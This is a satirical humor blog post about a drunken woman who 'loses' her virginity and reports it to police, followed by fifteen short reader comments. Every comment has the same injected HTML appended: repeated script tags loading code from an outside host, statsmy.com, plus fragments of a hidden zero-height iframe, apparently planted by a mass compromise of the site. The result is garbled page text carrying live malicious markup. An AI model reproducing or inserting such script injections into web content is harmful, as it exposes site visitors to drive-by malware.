Smooth Operator - Drunken Woman Loses Virginity

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Drunken Woman Loses Virginity

by Kris on 3/10/2006 (15)

"Me, drunk? Nooooooooo..."

"I'm sure I had it when I left for the bars," said 21-year-old Jennifer Holmes of her virginity. "But the next morning, I couldn't find it anywhere."

Young Jennifer went out with a group of her friends to celebrate one of the friend's recent engagement and was subjected to numerous candy flavored shots and drinks with little umbrellas in them. It wasn't long before Jennifer had lost her shirt and was dancing on top of a table.

Her friends, also equally drunk, reported she left the bar at approximately 1:30 am with a man who was "kinda cute, but a little creepy too".

When Jennifer awoke the following morning, the man and her virginity were nowhere to be found.

"I tore my apartment apart but couldn't find it anywhere," said Jennifer. "I looked under the bed, under the couch cushions, behind the TV… it's definitely not in this apartment."

Fearing that this man whom she remembers nothing of may have taken her virginity, Jennifer contacted the local authorities.

"Typically most women lose their virginity at some point in their lives," said officer Jeff Webber. "We will keep our eye out for this man, but it's pretty rare that we ever recover virginity once it has been lost."

Jennifer's friends describe this man as sort of tall, kind of muscular, and marginally cute. Jennifer is offering a $500 reward to anyone who can help her get her virginity back and has made a plea to the man she suspects has taken it.

"Please, if you have taken my virginity, return it to me. I loved my virginity and wasn't ready to give it up. You don't even have to come see me if you don't want to, just put it in an envelope and slip it under my door. It would mean the world to me to have my virginity back."

Jennifer's mother was reportedly "very dissappointed" when she heard this news.h="0"<0" hei

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1. by Charley-Brown on 3/1/2007 4:52:29 PM

WTF?isplay:none"></ifra </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by larry bonds on 3/1/2007 4:52:29 PM

not funny, i hate youis </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by ML on 3/1/2007 4:52:29 PM

Weird...very very odd...."0" style= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by ghandi on 3/1/2007 4:52:29 PM

thats an old crappy joke that should have diedh= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by TheService on 3/1/2007 4:52:29 PM

I had it, but I gave it to someone who would take better care of it. Sorry! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by CrapDetector on 3/1/2007 4:52:29 PM

What is this shitisplay </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by snoop on 3/1/2007 4:52:29 PM

sorry that i took your virginity jennifer i didnt even know your name when i took it.ill return when you give me your phone number."0" style </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Jen on 3/1/2007 4:52:29 PM

555-2352isplay:none"></ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by Jenny on 3/1/2007 4:52:29 PM

867-5309isplay:none"></ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Mark on 3/1/2007 4:52:29 PM

Jenny, Jenny - I've got your number!t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by ? on 3/1/2007 4:52:29 PM

girls still have their virginity at 21?? oddh="0 </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

12. by snoop on 3/1/2007 4:52:29 PM

shit it felt so good taking it that im just going to keep it.HaHaHa!!!n.ru/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

13. by Motz on 3/1/2007 4:52:29 PM

Kris, who picked this up? B2?"0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

14. by Kris on 3/1/2007 4:52:29 PM

Alldumb is nailing the hell out of this story, Fark like porportions... apparently the idea of a girl poping her cherry is a big hit there." </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

15. by Motz on 3/1/2007 4:52:29 PM

Alldumb has a highly erotic flair. Dirty minded guys over there. heh </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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